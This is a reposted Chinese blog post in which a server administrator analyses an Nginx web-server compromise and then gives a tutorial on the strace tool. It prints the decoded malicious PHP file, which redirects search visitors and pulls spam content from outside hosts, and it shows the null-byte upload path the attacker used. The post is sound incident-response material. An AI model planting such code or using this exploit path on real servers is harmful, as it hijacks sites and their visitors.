今天偶然看到网上一篇处理Nginx网站中木马的解决方法，觉得还可以，于是转载下来作为将来不备之需。

导读：

服务器突然负载比平常高出了50%，经过长时间分析发现原来是黑客利用nginx的一个漏洞，通过图片上传了含有代码的图片，然后调用图片使用post传入代码，生成一个含有推广链接代码的php可执行文件，代码在调用时需要多次解密，因此直接导致负载升高。

起因：

今天早上来到公司照例打开cacti监控查看服务器的运行情况，突然发现两台网站服务器的负载比平时高了50%，这个主要从CPU的使用情况以及服务器的load值来看。

排查：

于是赶紧登录到服务器上使用top命令查看，发现是一些php-fpm的进程瞬间占用了大量的CPU，奇怪，平时那些php-fpm的进程占用CPU很少超过2%的，今天怎么有的会达到100%，于是赶紧咨询运维的同事昨天是不是有程序发布到正式环境。同事回答却是有，发布时间为19:48左右，对照cacti的查看，发现负载升高是在凌晨3点中左右，因此可以初步确认发布和负载升高没什么直接的关系。

那么到底是什么导致服务器的负载一下子升高了那么多呢？带着这个疑问，我开始采用linux下的一些命令行工具开始排查，过程如下：

首先查看进程是否打开什么文件，找到进程高的pid，cat  /proc/pid/fd 没有发现有打开的文件，接着采用strace –p pid跟踪相应的占用cpu高的php-fpm进程，也很难发现问题，因为占用CPU高的进程不是一直占用CPU高，而是瞬间的，所以很难跟踪。然后采用lsof命令查看相应的占用CPU高的pid，lsof –p pid ，发现路径都是指向bbs根目录下，因此初步确定bbs根目录必定有蹊跷。

目前可以确定的是bbs根目录和这次的负载高有直接的联系，那么如何找到其中的联系呢？我的思路是想找出是什么php文件引起的，也就是php-fpm进程是调用的哪个PHP文件的时候会出现负载突然升高的情况呢？请教了几个高手都不清楚，在网上找了半天也没找到合适的答案，突然想起前段时间出现类似的木马事件，也是导致服务器负载高了很多，上次木马事件是因为nginx一个文件上传的漏洞导致，并且为了防止此类事情的发生已经写了一个专门检测php文件的脚本，采用对文件进行md5的形式，如果现在的文件的md5和原始文件不匹配就会发短信和邮件报警。同时也开启了nginx上post日志，会记录用户执行post操作的内容。似乎突然来了灵感，赶紧运行了那个文件检测脚本，发现一个forums.php异常，服务器上本来不存在这个文件的，攻击者为了隐藏其链接，对该文件中的代码做了30多次的加密封装，通过开发同事的协助解密该文件后发现如下内容：

<?php

error_reporting(E_ERROR);

$domain=$_SERVER['SERVER_NAME'];

$dddd = $_SERVER['PHP_SELF'];

$qqqq=$_SERVER["QUERY_STRING"];

$filename = end(explode('/',$dddd));

if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))

Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);

else

{

if($qqqq=="")

{

$a="http://".$domain.$_SERVER['PHP_SELF'];

$show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

else

{

$qqqq=str_replace('&',"",$qqqq);

$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;

$show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

}

?>

很明显，服务器中马了。将此文件备份后删除，服务器的负载马上降了下来，看来这个文件就是罪魁祸首了。现在知道了是这个文件导致的，那么这个文件是通过什么方式上传上来的呢？如何避免再次被种马，接下来详细分析一下是什么漏洞导致了这次木马事件，如何来预防？

分析：

查看到那个木马文件的更改时间是凌晨的3点零4分，那么这个文件的上传时间可能就是凌晨的3点零4分，带着这个疑问，就去查看服务器网页日志文件，发现了攻击的蛛丝马迹，从日志中显示，该用户是通过上传头像，头像中含有php代码，然后利用Nginx %00空字节执行任意代码(php)漏洞，通过POST /ucenter/data/tmp/upload545562.jpg%00.php的方式，把代码写入到论坛根目录，从http://sebug.net/vuldb/ssvid-20898查到了该漏洞，nginxnginx 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.65、nginx 0.8 <= 0.8.37这些版本都存在这个漏洞，只需要将版本升级到0.8.37以上的版本就能解决，因此将马上将nginx升级至1.0.12版本，问题解决！

经验教训：

通过这次木马事件，有几个教训和心得和大家分享一下：

积极关注服务器的相关安全漏洞，Nginx %00的漏洞2011-07-20就出来了，如果关注及时的话此次木马时间完全可以避免。

对所有的程序文件都定期的进行md5校验，当出现不一致的时候检查代码文件，能更快的发现代码文件被改的迹象，减少损失。

对服务器的权限严格控制，如果设置了论坛根目录不能写入，此次攻击也能避免。

加强监控，每天关注服务器的运行情况，对服务器突然的异常保持敏感并马上着手排查。因此以后主要从这三方面来加强web服务器的安全。

下面总结strace命令的生产使用：

top

技巧：运行 top 时，按「1」打开 CPU 列表，按「shift+p」以 CPU 排序。

在本例中大家很容易发现 CPU 主要是被若干个 PHP 进程占用了，同时 PHP 进程占用的比较多的内存，不过系统内存尚有结余，SWAP 也不严重，这并不是问题主因。

不过在 CPU 列表中能看到 CPU 主要消耗在内核态「sy」，而不是用户态「us」，和我们的经验不符。Linux 操作系统有很多用来跟踪程序行为的工具，内核态的函数调用跟踪用「strace」，用户态的函数调用跟踪用「ltrace」，所以这里我们应该用「strace」：

shell> strace -p <PID>

不过如果直接用 strace 跟踪某个进程的话，那么等待你的往往是满屏翻滚的字符，想从这里看出问题的症结并不是一件容易的事情，好在 strace  可以按操作汇总时间：

shell> strace -cp <PID>

通过「c」选项用来汇总各个操作的总耗时，运行后的结果大概如下图所示：

strace -cp

很明显，我们能看到 CPU 主要被 clone 操作消耗了，还可以单独跟踪一下 clone：

shell> strace -T -e clone -p <PID>

通过「T」选项可以获取操作实际消耗的时间，通过「e」选项可以跟踪某个操作：

strace -T -e clone -p

很明显，一个 clone 操作需要几百毫秒，至于 clone 的含义，参考 man 文档：

clone() creates a new process, in a manner similar to fork(2). It is actually a library function layered on top of the underlying clone() system call, hereinafter referred to as sys_clone. A description of sys_clone is given towards the end of this page.

Unlike fork(2), these calls allow the child process to share parts of its execution context with the calling process, such as the memory space, the table of file descriptors, and the table of signal handlers. (Note that on this manual page, “calling process” normally corresponds to “parent process”. But see the description of CLONE_PARENT below.)

简单来说，就是创建一个新进程。那么在 PHP 里什么时候会出现此类系统调用呢？查询业务代码看到了 exec 函数，通过如下命令验证它确实会导致 clone 系统调用：

shell> strace -eclone php -r 'exec("ls");'

最后再考大家一个题：如果我们用 strace 跟踪一个进程，输出结果很少，是不是说明进程很空闲？其实试试 ltrace，可能会发现别有洞天。记住有内核态和用户态之分。

本文转自写个博客骗钱博客51CTO博客，原文链接http://blog.51cto.com/dadonggg/1952767如需转载请自行联系原作者

菜鸟东哥